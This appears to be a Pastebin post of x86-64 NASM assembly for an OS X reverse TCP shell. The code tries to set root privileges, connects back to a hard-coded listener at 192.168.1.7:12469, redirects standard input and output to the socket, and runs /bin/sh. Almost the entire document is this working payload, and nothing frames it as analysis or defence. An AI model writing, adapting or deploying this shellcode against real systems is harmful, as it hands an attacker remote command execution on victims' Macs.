Advertisement
0xACAB

OS X x86_68 assembly reverse TCP shell

Feb 17th, 2013
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;//
  2. ;//  reverse_tcp_shell_osx.s
  3. ;//  tested on 10.8.2 - should work on 10.7
  4. ;//
  5. ;//  Created by 0xACAB on 2/16/13.
  6. ;//
  7. ;//
  8.  
  9. BITS 64
  10. ;syscalls and arguments
  11. %assign sys_socket 97
  12. %assign sys_connect 98
  13. %assign sys_setreuid 126
  14. %assign sys_exit 1
  15. %assign sys_dup2 90
  16. %assign sys_execve 59
  17. %assign SOCK_STREAM 1
  18. %assign AF_INET 2
  19.  
  20. global start
  21.  
  22. section .text
  23.  
  24. start:
  25.  
  26. _setup_nix_sys:
  27.     ; OS X requires SYSCALL_CLASS_UNIX set in upper order bits when using syscalls
  28.     xor r9d,r9d
  29.     mov r9b, 0x02
  30.     shl r9, 24
  31.  
  32. _setreuid:
  33.     ; set real and uid to 0 for max privileges if we can
  34.     mov rax, r9
  35.     add al, sys_setreuid
  36.     xor edi, edi
  37.     xor esi, esi
  38.     syscall
  39.  
  40. _socket:
  41.     ; create TCP socket
  42.     mov rax, r9
  43.     add al, sys_socket
  44.     mov dil, AF_INET
  45.     mov sil, SOCK_STREAM
  46.     xor edx, edx
  47.     syscall
  48.  
  49. _connect:
  50.     ; move sockfd into rdi (1st param for connect syscall)
  51.     mov rdi, rax
  52.     xor eax, eax
  53.     push rax
  54.     mov rax, 0x701a8c0b5300103      ;192.168.1.7:12469 + AF_INET in network order (0002 masked)
  55.     sub ax, 0x0101
  56.     push rax
  57.     mov rsi, rsp
  58.     xor edx, edx
  59.     mov dl, 16
  60.  
  61.     ; connect to 192.168.1.7:12469
  62.     mov rax, r9
  63.     add al, sys_connect
  64.     syscall
  65.  
  66.     ; check if all good, otherwise, exit
  67.     xor esi, esi
  68.     cmp sil, al
  69.     jb _exit
  70.  
  71. _connected:
  72.     ; connect stdin(0), stdout(1), and stderr(2) - note, rsi should still be 0x0; rdi should still have sockfd
  73.     mov rax, r9
  74.     add al, sys_dup2
  75.     syscall
  76.     cmp sil, 2
  77.     inc sil
  78.     jbe _connected
  79.  
  80. _run:
  81.     ; execve to /bin/sh
  82.     mov rax, r9
  83.     add al, sys_execve
  84.     mov rdi, 0xff68732f6e69622f
  85.     ; create null byte to terminate properly
  86.     shl rdi, 8
  87.     shr rdi, 8
  88.     push rdi
  89.     mov rdi, rsp
  90.     xor esi, esi        ; char *argv[] = null
  91.     xor edx, edx        ; char *envp[] = null
  92.     syscall
  93.  
  94. _exit:
  95.     mov rsp, rbp
  96.     mov rax, r9
  97.     or al, sys_exit
  98.     xor edi, edi
  99.     syscall
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement